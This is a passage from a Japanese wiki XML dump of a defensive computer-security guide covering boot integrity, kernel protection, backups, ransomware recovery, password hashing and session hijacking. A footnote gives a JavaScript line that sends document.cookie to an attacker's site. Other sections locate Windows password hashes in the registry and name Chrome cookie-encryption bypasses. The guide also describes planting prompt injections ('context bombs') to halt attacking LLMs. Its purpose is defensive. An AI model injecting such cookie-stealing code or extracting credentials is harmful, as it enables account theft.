retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>2elfuqx49k9ar0srcm7tbbzca5alld7</sha1>
    </revision>
    <revision>
      <id>305242</id>
      <parentid>305241</parentid>
      <timestamp>2026-11-01T01:35:48Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305242</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="94967" sha1="s0vltf0xnou8939rkza4zqo338qxj4e" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えば以下の方法があります:
* マルウェアでブラウザのセッションファイルを抜き取る
* 正規サイトに挿入される広告やライブラリなどの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る{{efn|例えば Javascript に &lt;code&gt;location.href &amp;#61; &quot;https://（攻撃者のサイト）/logging.cgi?log&amp;#61;&quot; + document.cookie;&lt;/code&gt;を挿入するなど。}}（Webサイト側は Cookie の HttpOnly 属性で対策可）
* 正規サイトに挿入される広告やライブラリなどの外部参照{{efn|ページ埋め込み (iframe)や画像埋め込み (img)など。}}から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお 2026年にはセッションハイジャックを難しくする Device Bound Session Credentials という技術も一般提供されるようになりました。こちらは TPM ([[:w:Trusted Platform Module|Trusted Platform Module]]) の鍵を使うものとなっています。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
